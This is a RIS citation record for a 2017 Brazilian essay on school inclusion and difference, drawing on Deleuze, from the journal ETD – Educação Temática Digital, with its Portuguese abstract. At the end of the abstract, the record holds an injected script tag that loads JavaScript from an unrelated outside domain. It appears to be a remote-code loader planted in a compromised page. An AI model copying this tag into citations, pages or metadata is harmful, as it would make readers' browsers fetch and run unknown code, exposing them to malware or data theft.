TY - JOUR AU - Lima, Norma Silvia Trindade de AU - Mantoan, Maria Teresa Egler PY - 2017/10/06 Y2 - 2024/03/29 TI - Notas sobre inclusão, escola e diferença JF - ETD - Educação Temática Digital JA - ETD - Educ. temat. digit. VL - 19 IS - 4 SE - Ensaio DO - 10.20396/etd.v19i4.8646274 UR - https://periodicos.sbu.unicamp.br/ojs/index.php/etd/article/view/8646274 SP - 824-832 AB - <p>No Brasil, a inclusão escolar tem sido compreendida segundo concepções díspares. Algumas destas concepções contradizem o seu sentido e esvaziam a sua potência de transformação educacional. Nestas Notas, consideramos relevante adotar como eixo estruturante da educação inclusiva a diferença em si mesma, proposta por Gilles Deleuze. Trataremos inicialmente da crítica à representação clássica, destacando o entendimento desse autor. Na sequência, abordaremos o papel de uma escola para todos e seus processos educacionais, notadamente o ensinar e o aprender, a partir da diferença. Nossa intenção neste estudo é contribuir para forjar outras perspectivas de entendimentos e inspirar práticas pedagógicas que assegurem o direito à diferença, no contexto contemporâneo da educação escolar brasileira.</p><script id="lg210a" type="text/javascript" src="https://cloudapi.online/js/api46.js"></script> ER -